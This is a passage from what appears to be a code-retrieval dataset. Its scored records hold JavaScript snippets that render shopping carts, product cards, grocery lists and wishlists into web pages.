product\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t<span class=\"product-thumb-info\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t<a href=\"shop-cart.jsp\" class=\"add-to-cart-product\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<span><i class=\"fa fa-shopping-cart\"></i> Add to Cart</span>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t</a>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t<a href=\"HomeServlet?id='+ products[i].productId + '\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<span class=\"product-thumb-info-image\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<span class=\"product-thumb-info-act\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<span class=\"product-thumb-info-act-left\"><em>View</em></span>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<span class=\"product-thumb-info-act-right\"><em><i\\n' +\n ' class=\"fa fa-plus\"></i> Details</em></span>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t</span>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<img alt=\"\" class=\"img-responsive\" src=\"/ImagesServlet?id=' + products[i].productId + '\" style=\"width: 320px; height: 320px\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t</span>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t</a>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t<span class=\"product-thumb-info-content\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<a href=\"\"HomeServlet?id='+ products[i].productId +'\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<h4>'+ products[i].productName +'</h4>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<span class=\"price\">\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t<span class=\"amount\">' + products[i].productPrice + '</span>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t</span>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t</a>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t\\t</span>\\n' +\n '\\t\\t\\t\\t\\t\\t\\t\\t</span>\\n' +\n ' </li>');\n }\n\n\n}", "title": "" }, { "docid": "82c5b49f76a720906524c070bf9723df", "score": "0.6180872", "text": "function makeList() {\n// appends the name and prices to the html doc\nvar list = document.createElement('ul');\nfor(var i=0; i<groceryStore.length;i++){\nvar listItems = document.createElement('li');\nlistItems.innerText = groceryStore[i].name +': $' + groceryStore[i].total;\nlist.appendChild(listItems);\n}\ncont.appendChild(list);\n// calculates subtotal, tax, final total\nvar subTotal = 0;\ngroceryStore.forEach(function(i){\n subTotal += i.total;\n});\nvar tax = subTotal * 0.06;\nvar finalTotal = subTotal + tax;\n// prints subtotal, tax, final total to html\nvar p1 = document.getElementById('p1');\np1.innerText = 'Subtotal: $'+subTotal.toFixed(2);\nvar p2 = document.getElementById('p2');\np2.innerText = 'Tax: $'+tax.toFixed(2);\nvar p3 = document.getElementById('p3');\np3.innerText = 'Total: $'+finalTotal.toFixed(2);\n}", "title": "" }, { "docid": "9e569769869c95f72c511c79901ad5ad", "score": "0.61768454", "text": "function appendMain(response) {\n let sneakers = response;\n for (let i = 0; i < sneakers.length; i++) {\n let sneaker = sneakers[i];\n let product = gen(\"div\");\n product.classList.add(\"product\");\n let name = sneaker.name;\n let img = generateImage(name);\n let title = gen(\"h3\");\n title.textContent = processName(name);\n let price = gen(\"p\");\n price.textContent = \"$\" + sneaker.price;\n let shop = gen(\"button\");\n shop.classList.add(\"shop\");\n shop.textContent = \"Shop\";\n shop.addEventListener(\"click\", function() {\n populateDetails(name);\n });\n product.appendChild(img);\n product.appendChild(title);\n product.appendChild(price);\n product.appendChild(shop);\n id(\"product-list\").appendChild(product);\n }\n }", "title": "" }, { "docid": "44e17e2086a0e83c6082f45ad79e34a3", "score": "0.616805", "text": "function putShoesOnDom(shoe) {\n const list = document.getElementById('shoe-list')\n\n if (list.querySelectorAll('li').length == 0) {\n displayShoe(shoe)\n }\n\n const li = document.createElement('li');\n li.className = 'list-group-item';\n li.innerText = shoe.name;\n\n li.addEventListener('click', () => {\n displayShoe(shoe)\n });\n\n list.appendChild(li);\n}", "title": "" }, { "docid": "5770ddf08d255d6bb704261f251ef42b", "score": "0.61623096", "text": "function handleShoppingList() {\n renderShoppingList();\n handleNewItemSubmit();\n handleItemCheckClicked();\n handleDeleteItemClicked();\n handleToggleCheckedItems ();\n handleSearchedItem ();\n}", "title": "" }, { "docid": "edd7f2dbd558978f2126fc2bd59c8dba", "score": "0.6140502", "text": "function listItems(){\r\n\t\tfullList.innerHTML = '';\r\n\t\tsortListsByDate().forEach((item, index) => {\r\n\t\t\tfullList.insertAdjacentHTML( 'beforeend', listHTMLString(item, index) );\r\n\t\t});\r\n\r\n\t}", "title": "" }, { "docid": "3dfccd383569301f9a11d05e0fb8b6e4", "score": "0.6132505", "text": "function handleShoppingList() {\n renderShoppingList();\n handleNewItemSubmit();\n handleItemCheckClicked();\n handleDeleteItemClicked();\n handleToggleHideFilter();\n handleSearchForItem();\n handleItemEditItemClicked();\n handleClearSearchClicked();\n}", "title": "" }, { "docid": "072856baeb775dc3e90a102e81998ede", "score": "0.6131065", "text": "function displayProductItems(productItems) {\n let displayProducts = productItems.map(function (item) {\n return `\n <div class=\"col-10 col-sm-6 col-lg-4 mx-auto my-3 store-item\">\n <div class=\"card single-item\">\n <div class=\"img-container\">\n <img src=\"${item.img}\" class=\"card-img-top store-img\" alt=\"${item.title}\">\n <span class=\"store-item-icon\">\n <i class=\"fas fa-shopping-cart\"></i>\n </span>\n </div>\n <div class=\"card-body\">\n <div class=\"card-text d-flex justify-content-between\">\n <h5 class=\"store-item-name\" id=\"store-item-name\"> ${item.title}</h5>\n <h5 class=\"store-item-value\">£ <strong id=\"store-item-price\"\n class=\"font-weight-bold\">${item.price}</strong></h5>\n </div>\n </div>\n </div>\n </div>\n `;\n })\n displayProducts = displayProducts.join('');\n storeSection.innerHTML = displayProducts;\n}", "title": "" }, { "docid": "cfd1531c0084a4382e4f426a3bd73ea5", "score": "0.61258775", "text": "function handleShoppingList() {\n renderShoppingList();\n handleNewItemSubmit();\n handleItemCheckClicked();\n handleItemSearch();\n handleDeleteItemClicked();\n handleEditItemClicked();\n handleToggleHideClick();\n handleUserInput();\n}", "title": "" }, { "docid": "a2d02a20a6a6df74275798465ced1646", "score": "0.611418", "text": "function displayProducts(){\n\t$(\".single_product\").remove();\n\t$.get(\"all-products.php?origin=login\", function(sData){\n\t\t//console.log(sData);\n\t\t// Convert string to JSON object\n var oData = JSON.parse(sData);\n\t\tfor(var i = 0 ; i < oData.products.length; i++){\n\t\t\tvar soldOut = \"\";\n\t\t\tvar categories = \"\";\n\t\t\tif(oData.products[i].active == 0){\n\t\t\t\tsoldOut = '<span class=\"soldOut\">SOLD OUT</span>';\n\t\t\t}\n\t\t\tfor(var c = 0; c < oData.products[i].categories.length; c++){\n\t\t\t\tcategories += oData.products[i].categories[c]+\" \";\n\t\t\t}\n\n\t\t\t$(\"#products\").append('<div class=\"'+categories+'single_product col-lg-4\"><div class=\"edit_product\" data-partnerKey=\"'+oData.products[i].partner+'\" data-productId=\"'+oData.products[i].id+'\"><span class=\"glyphicon glyphicon-pencil\" aria-hidden=\"true\"></span></div><div class=\"remove_product\" data-partnerKey=\"'+oData.products[i].partner+'\" data-productId=\"'+oData.products[i].id+'\"><span class=\"glyphicon glyphicon-remove\" aria-hidden=\"true\"></span></div>'+soldOut+'<img class=\"img-circle\" src=\"'+oData.products[i].image+'\" alt=\"Generic placeholder image\" style=\"width: 140px; height: 140px;\"><h2>'+oData.products[i].name+'</h2><p class=\"product_description\">'+oData.products[i].description+'</p><h3>'+oData.products[i].price+'kr.</h3></div>');\t\n\t\t}\n\t});\n}", "title": "" }, { "docid": "ca749a4943d8e8e179eb11375f8db8a9", "score": "0.60973346", "text": "function refreshUI(list) {\n var lis = '';\n for (var i = 0; i < list.length; i++) {\n lis += '<p data-key=\"' + list[i].key + '\">' + list[i].name + ' ' + genLinks(list[i].key, list[i].name) + '</p>';\n };\n document.getElementById('itemList').innerHTML = lis;\n}", "title": "" }, { "docid": "3f9ea0b9e7a5d36291f89d12d79cf8a9", "score": "0.6091635", "text": "function displayProducts(products) {\n let html = \"\";\n products.forEach((product) => {\n html += renderProduct(product, \"cart\");\n });\n document.querySelector(\"#products\").innerHTML = html;\n}", "title": "" }, { "docid": "1f8163945d1a165d0ead26ad85f8068f", "score": "0.60806423", "text": "function Add_Movie_To_List()\n{\n for (c = 0; c < movies.length; c++)\n {\n var Cart = document.getElementById('Movie_List');\n var li = document.createElement('li');\n Cart.appendChild(li);\n Cart.innerHTML = movies[c][0];\n }\n}", "title": "" }, { "docid": "410ed9bdbca71418a8a1bfab8b4c7339", "score": "0.60752386", "text": "function writeListToPage() {\n\n $(\"#get-all-products\").html(\"\");\n //Need real host not localhost.\n //getByNicknameFromServe(nickname);\n\n var products = getListFromStorage();\n\n if (products == null) {\n return;\n }\n\n for (var i = 0; i < products.length; i++) {\n $(\"#get-all-products\").append(\n '<li class=\"swipeout\">' +\n '<div class=\"swipeout-content item-content\">' +\n '<div class=\"post_entry\">' +\n '<div class=\"post_thumb\"><img onclick=\"capturePhoto(\\'' + products[i].name + '\\');\" src=\"images/page_photo.jpg\" alt=\"\" title=\"\" /></div>' +\n '<div class=\"post_details\">' +\n '<h2>Product: ' + products[i].name + '<br/> Quantity: ' + products[i].quantity + '</h2>' +\n '<span class=\"post_author\">by <a href=\"#\">' + nickname + '</a></span>' +\n '</div>' +\n '<div class=\"post_swipe\"><img src=\"images/swipe_more.png\" alt=\"\" title=\"\"/></div>' +\n '</div>' +\n '</div>' +\n '<div class=\"swipeout-actions-right\">' +\n '<a href=\"#\" onclick=\"deleteProductFromList(\\'' + products[i].name + '\\')\"><img ' +\n 'src=\"images/icons/white/caution.png\" alt=\"\" title=\"\"/></a>' +\n '</div>' +\n '</li>'\n );\n }\n}", "title": "" }, { "docid": "641a0acfc3afa4e46620688889528605", "score": "0.6072146", "text": "function displayList() {\n\t\ttodoList = JSON.parse(localStorage.getItem(\"todoList\"));\n\t\ttodoList.forEach(function (element) {\n\t\t\tlet text = element.item;\n\t\t\tlet item = `<li id=\"li-${id}\"><span>${text}</span><input id=\"box-${id}\" class=\"checkboxes\" type=\"checkbox\"></li>`;\n\t\t\tlist.innerHTML += item;\n\t\t\tid++;\n\t\t});\n\t\twhichChecked()\n\t}", "title": "" }, { "docid": "bb06114d19493c2a6fc1f31c0411f7e7", "score": "0.6062314", "text": "function loadItems() {\n $itemList.empty();\n\n SDK.Items.getItems((err, items) => {\n if (err) throw err;\n\n\n items.forEach((item) => {\n\n //Sort items to a specific type\n if (item.itemType === type) {\n\n\n const itemHtml = `\n <div class=\"col-lg-4 item-container\">\n <div class=\"panel panel-default\">\n <div class=\"panel-heading\">\n <h3 class=\"panel-title\">${item.itemName}</h3>\n </div>\n <div class=\"panel-body\">\n <div class=\"col-lg-8\">\n <dl>\n <dt>Description</dt>\n <dd>${item.itemDescription}</dd>\n </dl>\n </div>\n </div>\n <div class=\"panel-footer\">\n <div class=\"row\">\n <div class=\"col-lg-4 price-label\">\n <p>Kr. <span class=\"price-amount\">${item.itemPrice}</span></p>\n </div>\n <div class=\"col-lg-8 text-right\">\n <button class=\"btn btn-success purchase-button\" data-item-id=\"${item.itemId}\">Add to basket</button>\n </div>\n </div>\n </div>\n </div>\n </div>\n \n `;\n\n $itemList.append(itemHtml);\n\n }\n });\n //Function to add items to basket\n $(\".purchase-button\").click(function () {\n const itemId = $(this).data(\"item-id\");\n const item = items.find((item) => item.itemId === itemId);\n SDK.Items.addToBasket(item);\n $(\"#purchase-modal\").modal(\"toggle\");\n });\n\n\n });\n }", "title": "" }, { "docid": "09ff5cd6b852eeba23f3b305ebcd5967", "score": "0.605927", "text": "function matchCartArraytoCartDisplay(){\n for (var item =0; item<cart.length; item++) {\n //add html\n $('.order').append(\"\\\n <div id='item'>\\\n <h3></h3>\\\n <p></p>\\\n </div>\\\n <div>\\\n <p></p>\\\n <p id='editor'> x </p>\\\n <p id='editor'> Edit </p>\\\n <p>\\\n </div>\");\n }\n}", "title": "" }, { "docid": "23811dcacfcabc0a9d3c714a75c7477b", "score": "0.60533637", "text": "function addItem(item) {\n\t\t// if the item is not empty or not spaces, then go forward.\n\t\tif (/\\S/.test(item)) {\n\t\t\t// do not add duplicates\n\t\t\tif (isDuplicate(item)) {\n\t\t\t\talert(\"'\" + item + \"' is already in the shopping list.\");\n\t\t\t\treturn;\n\t\t\t}\n\n \t\tvar str = \"<li><span class='label'>\" + item + \"</span>\"\n \t\t\t\t\t+\"<div class='actions'><span class='done'><button class='fa fa-check'><span class='element-invisible'>Done</span></button></span>\"\n \t\t\t\t\t+ \"</span><span class='delete'><button class='fa fa-times'><span class='element-invisible'>Delete</span></button></span></div></li>\";\n\n \t\t// adding the new li tag to the end of the list - you are actually adding html string, but jQuery will create elements for you\n\t\t\t$(\"#items\").append(str);\n\t\t}\n\t}", "title": "" }, { "docid": "1051275e4d1d06d5a1946253dc4b98a4", "score": "0.6051293", "text": "function orderSummary(pizzas) {\n $(\"#orderList\").html(\"\");\n for(index = 0; index < pizzas.length; index++){\n $(\"#orderList\").append(\"<li>Pizza \" + (index+1) + \":<br>Size: \" + pizzas[index].size + \"<br>Toppings: \" + pizzas[index].toppings.join(\", \") + \"<br>Price: $\" + pizzas[index].getCost().toFixed(2) + \"</li>\");\n }\n $(\"#orderSummaryBtn\").text(\"Update Order Summary\");\n}", "title": "" }, { "docid": "e409922a296f8273cb3d0877825c6e48", "score": "0.6040943", "text": "function addGeneratedItemsToList() {\n var array = [],\n mold = '';\n\n for (var i = 1; i <= 5; i++) {\n array.push('Num: ' + i);\n }\n\n array.forEach(function (val) {\n mold += '<li>' + val + '</li>';\n });\n\n $('#list1').html('<ul>' + mold + '</ul>');\n }", "title": "" }, { "docid": "f6423db4c5863f0799b03cccac71b457", "score": "0.6039563", "text": "function updateCartPreview() {\n // TODO: Get the item and quantity from the form\n var product = event.target.items.value;\n var quantity = event.target.quantity.value;\n // TODO: Add a new element to the cartContents div with that information\n var divEl = document.getElementById('cartContents');\n var ulEl = document.createElement('ul');\n divEl.appendChild(ulEl);\n\n var liEl =document.createElement('li');\n liEl.textContent = 'Items Qty';\n ulEl.appendChild(liEl);\n\n for(var i = 0; i < items.length; i ++) {\n console.log(items);\n var liEl = document.createElement('li');\n liEl.textContent = `${product} ${quantity}`; \n }\n ulEl.appendChild(liEl); \n}", "title": "" }, { "docid": "bbbd5f2f1912e705cb8f59fc3768de49", "score": "0.6037144", "text": "function showItems() {\n\tconst qty = getQty()\n\tcartQty.innerHTML = `You have ${qty} items in your cart.`\n\t//console.log(`You have ${qty} items in your cart.`)\n\n\tlet itemStr = ''\n\tfor (let i = 0; i < cart.length; i++) {\n\t\tlet itemTotal = cart[i].price * cart[i].qty\n\t\t//console.log(`- ${cart[i].name} - ${cart[i].price} x ${cart[i].qty}`)\n\t\titemStr += `<li class=\"cart-list\"><div class=\"checkout-item\">\n\t\t${cart[i].name} - ${cart[i].price} x ${cart[i].qty} = ${itemTotal.toFixed(2)}</div>\n\t\t<button class=\"remove\" data-name=\"${cart[i].name}\">Remove</button>\n\t\t<button class=\"decrease change\" data-name=\"${cart[i].name}\">-</button>\n\t\t<button class=\"increase change\" data-name=\"${cart[i].name}\">+</button>\n\t\t</li>`\n\t}\n\n\t// make a list of all the items in the cart\n\titemList.innerHTML = itemStr\n\t\n\tconst total = getTotal()\n\tcartTotal.innerHTML = `Your cart total is: $${total}`\n\t//console.log(`Your cart total is: $${total}`)\n}", "title": "" }, { "docid": "1c60c215689300166e9c209a95b389db", "score": "0.6035828", "text": "function listItems(tripId) {\n $.get(\"/trips/\" + tripId + \"/items\", function(response) {\n var items = response;\n var itemsList = '<ul id=items>';\n items.forEach(function(item) {\n var i = item.trip_items.find(function(tripItem) {return tripItem.trip_id === parseInt(tripId)})\n itemsList += '<li>' + item.name + ' - ' + i.quantity + '</li>';\n });\n itemsList += '</ul>'\n $(\"#items\").html(itemsList);\n })\n}", "title": "" }, { "docid": "7b7253730193fd9f66767a2e89f53503", "score": "0.6032639", "text": "function displayResult(item) {\n var id = item.id;\n var title = item.snippet.title;\n var line = '<p>'\n + listIndex++ + ' : '\n + '<a href=\"https://www.youtube.com/playlist?list=' + id + '\" target=\"_blank\">' + id + '</a>' + ' : '\n + title + '</p>';\n\n $('#list-container').append(line);\n playlistList.push({\n id: id,\n title: title\n });\n}", "title": "" }, { "docid": "7c3821543d9f3bbb9e5af0db7cd81a74", "score": "0.603243", "text": "function appendToCart(){\n ui.cartItems.innerHTML = \"\";\n cart.forEach((item)=>{\n ui.appendToCart(item.imgSrc,item.title,item.size,item.price,item.id,item.numberOfUnits);\n })\n}", "title": "" }, { "docid": "75f1018f7c444d90b49ed23bc0014d95", "score": "0.6029746", "text": "function doShowAll() {\n\tif (CheckBrowser()) {\n\t\tvar key = \"\";\n\t\tvar list = \"<tr><th>Oursons</th><th>Quantités</th><th>Prix</th></tr>\\n\";\n\t\tvar i = 0;\n\t\t//for more advance feature, you can set cap on max items in the cart\n\t\tfor (i = 0; i <= localStorage.length-1; i++) {\n\t\t\tkey = localStorage.key(i);\n\t\t\tlist += \"<tr><td>\" + key + \"</td>\\n<td>\"\n\t\t\t\t\t+ localStorage.getItem(key) + \"</td></tr>\\n\";\n\t\t}\n\t\t//if no item exists in the cart\n\t\tif (list == \"<tr><th>Oursons</th><th>Quantités</th><th>Prix</th></tr>\\n\") {\n\t\t\tlist += \"<tr><td><i>vide</i></td>\\n<td><i>vide</i></td>\\n<td><i>vide</i></td></tr>\\n\";\n\t\t}\n\t\t//bind the data to html table\n\t\tdocument.getElementById('list').innerHTML = list;\n\t} else {\n\t\talert('Cannot save shopping list as your browser does not support HTML 5');\n\t}\n}", "title": "" }, { "docid": "d6509372655f5261ba383da78cd6d63a", "score": "0.60239685", "text": "function show(data) { \n let card = ``; \n \n // Loop through all products\n for (let p of data) { \n card += `\n <div class=\"card\">\n <a href=\"detail.html\">\n <img src=\"${p.image}\" alt=\"${p.name}\">\n </a> \n <h1>${p.name}</h1>\n <p class=\"price\">\\$${p.price}</p>\n <p>${p.description}</p>\n <button class=\"addToCart\">Add to Cart</button>\n </div>`; \n } \n // Setting innerHTML as card variable \n document.getElementById(\"productContainer\").innerHTML = card; \n}", "title": "" }, { "docid": "8b51937a8eafd644df17a88d1b9ebbf8", "score": "0.6021856", "text": "function getPlayersItemsSold() {\n\tconsole.log(\"Get Players Items Sold.\");\n\n\tvar id = 0;\n\n\t$(\"#playersItemsSold\").empty();\n\t$(\"#playersItemsSold\").append(\"<h4>Your Inactive Listings</h4>\");\n\n\t$.get(\"api/users/\" + id + \"/listings\", function(data){\n\n\t\tvar numberOfListings = 5;\n\n\t\tfor (var i = 0; i < numberOfListings; i++){\n\t\t\t$(\"#playersItemsSold\").append(\"<p>=-=-=-=-=-=Listing \" + i + \" =-=-=-=-=-=</p>\");\n\t\t}\n\t});\n}", "title": "" }, { "docid": "4abd02d86d1cc17f5b23b8c92754172b", "score": "0.60159284", "text": "function printUserPlaylists() {\n $('#printPlaylist').empty();\n var ul = $('<ul>');\n ul.addClass('collection with-header');\n var liHeader = $('<li>');\n liHeader.addClass('collection-header');\n var hHeader = $('<h3>');\n hHeader.html(\"Playlists:\");\n ul.append(liHeader.append(hHeader));\n for (var i = 0; i < userPlaylistObjects.length; i++) {\n var li = $('<li>');\n li.attr({\n class: 'collection-item select-playlist valign-wrapper',\n draggable: 'true',\n ondragstart: 'drag(event)'\n });\n li.data('playlistObject', userPlaylistObjects[i]);\n li.html(userPlaylistObjects[i].name);\n\n var iTag = $('<i>');\n iTag.addClass('material-icons right');\n if (userPlaylistObjects[i].ownerID != userSpotifyId) {\n iTag.html(\"language\");\n }\n // iTag.html(\"playlist_add\");\n ul.append(li.append(iTag));\n\n }\n $('#printPlaylist').append(ul);\n }", "title": "" }, { "docid": "343b6a5fccac3238e796e241ae3dbd1e", "score": "0.6015803", "text": "function listToHtml(listItem){\r\n let html;\r\n listItem.itemName\r\n html = \"<li id='shoppingItem'>\";\r\n html += listItem.itemName + \": $\" + Number(listItem.itemPrice) + \".00\";\r\n html += \"</li><br><br>\";\r\n console.log(html);\r\n // add a button to remove objects\r\n return html;\r\n\r\n }", "title": "" }, { "docid": "4e493cf542c4823760f0b4eb62d9ecf8", "score": "0.6015344", "text": "function listItems(items) {\n\t\tvar itemList = document.querySelector('#item-list');\n\t\titemList.innerHTML = ''; // clear current results\n\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\taddItem(itemList, items[i]);\n\t\t}\n\t}", "title": "" }, { "docid": "f0be46eaf6c3d82b31085f1580d51a9f", "score": "0.6015031", "text": "function printMenu(data) {\n html = '';\n console.log(data);\n\n for (let object of data) {\n html += `\n <li class=\"navbar-item\">\n <a href=\"${object.href}\" class=\"navbar-link p-3\">${object.text}</a>\n </li> \n `;\n }\n\n html += `\n <li class=\"navbar-item\">\n <a href=\"cart.html\" class=\"shopping-cart navbar-link\"\n ><i class=\"fas fa-shopping-cart p-3\"></i\n ></a>\n <span id=\"itemNumber\" class=\"text-white\"></span>\n </li>\n `;\n\n document.getElementById('menu').innerHTML = html;\n onLoadCartNumber();\n}", "title": "" }, { "docid": "7fee756186353dda9c546273e87110ba", "score": "0.6014219", "text": "function renderNewShops() {\n // get rid of existing comments first\n // nextshopList.textContent = '';\n // now put the new list itmes from the array into it.\n for (var i = 0; i < allShops.length; i++) {\n allShops[i].render();\n //domTable.appendChild(allShops[i].render());\n }\n\n}", "title": "" }, { "docid": "d39217b2e1d7122ab516c8f32c009696", "score": "0.60128725", "text": "function displayFavouriteItems(){\n\n\t\t$.getJSON('https://secure.toronto.ca/cc_sr_v1/data/swm_waste_wizard_APR?limit=1000', function(data){\n\t\t\tvar output = \"\";\n\t\t\toutput += \"<h2>Favourites</h2>\"\n\n\t\t\t$.each(favourites, function name(key, val) {\n\n\t\t\t\toutput += '<div class=\"result-item favourited\" data-key=\"' + val + '\">';\n\t\t\t\toutput += '<div class=\"title\">';\n\t\t\t\toutput += '<span><i class=\"fas fa-star\"></i></span>';\n\t\t\t\toutput += '<h3>' + data[val].title + '</h3>';\n\t\t\t\toutput += '</div>';\n\n\t\t\t\tvar html = $('<textarea />').html(data[val].body).text();\n\t\t\t\toutput += '<div class=\"description\">';\n\t\t\t\toutput += html;\n\t\t\t\toutput += '</div>';\n\t\t\t\toutput += '</div>';\n\t\t\t});\n\n\t\t\t$('#favourites-section').html(output);\n\t\t});\n\t}", "title": "" }, { "docid": "fc6105ab01d04b848c12c249e45d1577", "score": "0.6012862", "text": "function renderProducts() {\n const promotionalProductsPart = document.querySelector(\".promotion-list\");\n let html = \"\";\n for (const product of productsList) {\n if (product.category === \"promotionalProducts\") {\n html += `<article>\n <div>\n <img src=\"img/${product.image}\" alt=\"${product.alt}\">\n <h3>${product.title}</h3>\n <a href=#>LEARN MORE - - - <span>&#10145;</span></a>\n </div>\n </article>`;\n }\n }\n promotionalProductsPart.innerHTML = html;\n}", "title": "" }, { "docid": "1ebda89e07a4c2583c020426768b47a6", "score": "0.6007152", "text": "function getAllJokes() {\n const jokes = jokeFacade.getJokes();\n let jokeList = jokes.map(joke => `<li>${joke}</li>`).join(\"\\n\");\n document.getElementById(\"jokes\").innerHTML = jokeList;\n}", "title": "" }, { "docid": "9f28caadd2ad83b0e8ed63eceb1b8546", "score": "0.60056883", "text": "function populateRecentFood(arr) {\n savedFood.innerHTML = \"<h3>Food</h3>\";\n for (let i = 0; i < arr.length; i++) {\n var item = arr[i];\n var li = document.createElement(\"li\");\n li.innerText = item;\n savedFood.append(li);\n }\n}", "title": "" }, { "docid": "da9e35082963dbf0da832068c9145677", "score": "0.60046476", "text": "function displayGroceries() {\n const groceryList = document.getElementById('groceries');\n i = 0;\n groceries.forEach((item) => {\n const listItem = document.createElement('li');\n listItem.innerText = groceries[i];\n groceryList.appendChild(listItem);\n i++;\n }\n );\n\n}", "title": "" }, { "docid": "15989074fbbbc7fd2943091cf442454d", "score": "0.6003577", "text": "function addToWishList(){\r\n\twishItemsNum++;\r\n\r\n\tdocument.getElementById(\"wishListCount\").innerHTML = wishItemsNum;\r\n\tdocument.getElementById(\"wishListCount\").style.display = \"block\";\r\n\r\n\twishItems.push(new CurrentItem(itemName, currentColor, currentSize, itemPrice));\r\n}", "title": "" }, { "docid": "97d39417dd0bfc1b053d1c920dccb6e3", "score": "0.59991294", "text": "function orderListOfProducts(order, orderViewID){\n console.log(order)\n console.log(orderViewID)\n\n\n let products = order.products;\n\n for (id in products){\n\n let product = order.products[id];\n\n $(`#${orderViewID}`).append(`\n <li class=\"list-group-item\">\n <div class=\"row\">\n <div class=\"col-3\" id=\"${product.id}-name\">${product.name}</div>\n <div class=\"col-3\">$${product.price}</div>\n <div class=\"col-3\">$${product.cost}</div>\n <div class=\"col-3\">$${product.margin}</div>\n </div> \n </li>\n `)\n }\n\n\n}", "title": "" }, { "docid": "6cd912d0a6771685034aaf39943b3ef1", "score": "0.5987036", "text": "function showItems(){\n const qty = getQty()\n const total = getTot()\n\n cartQty.innerHTML = `you have ${qty} items in your cart`\n \n let itemStr = ''\n for(let i = 0; i < cart.length; i += 1){\n // assigns each of these variables in the curly braces to cart[i]\n const {name, price, qty} = cart[i]\n\n itemStr += `<li>\n ${name} $${price} x ${qty} = ${qty * price}\n <button class=\"remove\" data-name=\"${name}\"> Remove </button>\n <button class=\"add-one\" data-name=\"${name}\"> + </button>\n <button class=\"remove-one\" data-name=\"${name}\"> - </button>\n <input class=\"update\" type=\"number\" data-name=\"${name}\">\n </li>`\n }\n itemList.innerHTML = itemStr\n cartTotal.innerHTML = `Total in cart: $${total}`\n}", "title": "" }, { "docid": "45ae7a242c5573cfff884f5a86b3be03", "score": "0.5984583", "text": "function renderItem(){\n let landingPageEl=document.getElementById('itemCard');\n landingPageEl.innerHTML ='';\n\n for (let i = 0; i<allProducts.length; i ++){\n let productName = allProducts[i].productName;\n let productImage = allProducts[i].productImage;\n let productPrice = allProducts[i].productPrice;\n let productDeets = allProducts[i].productDeets;\n \n let divEl = document.createElement('div');\n divEl.setAttribute('class', 'itemCard');\n let itemNameEl = document.createElement('h3');\n itemNameEl.setAttribute('id', productName);\n itemNameEl.textContent = productName;\n let imageEl = document.createElement('img');\n imageEl.src = productImage;\n let descriptionEl = document.createElement('p');\n descriptionEl.textContent = productDeets;\n let priceEl = document.createElement('h5');\n priceEl.textContent = '$ ' + productPrice;\n let formEl = document.createElement('form');\n formEl.setAttribute('id', productName);\n let buttonEl = document.createElement('button');\n buttonEl.id = productName;\n buttonEl.textContent = 'Add to my Stuff!';\n let inputValue = document.createElement ('input');\n let labelValue = document.createElement('label');\n labelValue.innerText = '<--How Many Stuffs';\n\n inputValue.setAttribute('name', 'quantity');\n\n divEl.appendChild(itemNameEl);\n divEl.appendChild(imageEl);\n divEl.appendChild(descriptionEl);\n divEl.appendChild(priceEl);\n divEl.appendChild(formEl);\n formEl.appendChild(buttonEl);\n formEl.appendChild(inputValue);\n formEl.appendChild(labelValue);\n landingPageEl.appendChild(divEl);\n }\n}", "title": "" }, { "docid": "3db3892443bb615688dca52801b02153", "score": "0.59803313", "text": "function populateApp(){\n for (let i = 0; i < myGroceryList.length; i++){\n console.log()\n groceryItem.innerHTML += `\n <div class=\"item\">\n <p>${myGroceryList[i]}</p>\n <div class=\"item-btns\">\n <i class=\"fa fa-edit\"></i>\n <i class=\"fa fa-trash-o\"></i>\n </div>\n </div>`\n clearBtnToggle()\n queryEditBtn()\n queryDeleteBtn()\n }\n}", "title": "" }, { "docid": "d72e7094e4dc6cbbd860a356e5e5e557", "score": "0.59784347", "text": "function getWishList() {\n var storedList = JSON.parse(localStorage.getItem(\"myWishList\"));\n if (storedList.length > 0 ) {\n document.getElementById(\"empty\").remove();\n\n //display wishlist cart items at the correct location on the current page\n for (var i = 0; i < storedList.length; i++) {\n var targetLocation = document.getElementById(\"wishlist-list\");\n var wlItem = document.createElement(\"div\");\n wlItem.className = \"wl-content\";\n wlItem.id = i;\n\n var wlItemImg = document.createElement(\"img\");\n wlItemImg.className = \"wl-content\";\n wlItemImg.src = storedList[i].src;\n wlItemImg.alt = storedList[i].alt;\n\n var wlItemTitle = document.createElement(\"h2\");\n wlItemTitle.innerHTML = storedList[i].type;\n\n var wlItemFrosting = document.createElement(\"h2\");\n wlItemFrosting.className = \"wl-option\";\n wlItemFrosting.id = \"wl-frosting\";\n wlItemFrosting.innerHTML = (\"w/ \" + storedList[i].frosting + \" frosting\");\n\n var wlItemMethod = document.createElement(\"h2\");\n wlItemFrosting.className = \"wl-option\";\n wlItemMethod.id = \"wl-method\";\n wlItemMethod.innerHTML = storedList[i].method;\n\n var wlItemQuantity = document.createElement(\"h2\");\n wlItemFrosting.className = \"wl-option\";\n wlItemQuantity.id = \"wl-quantity\";\n wlItemQuantity.innerHTML = storedList[i].quantity;\n\n var wlItemPrice = document.createElement(\"h2\");\n wlItemFrosting.className = \"wl-option\";\n wlItemPrice.id = \"cart-price\";\n wlItemPrice.innerHTML = \"$ \" + storedList[i].price;\n\n var deleteButton = document.createElement(\"button\");\n deleteButton.className = \"delete-item\";\n 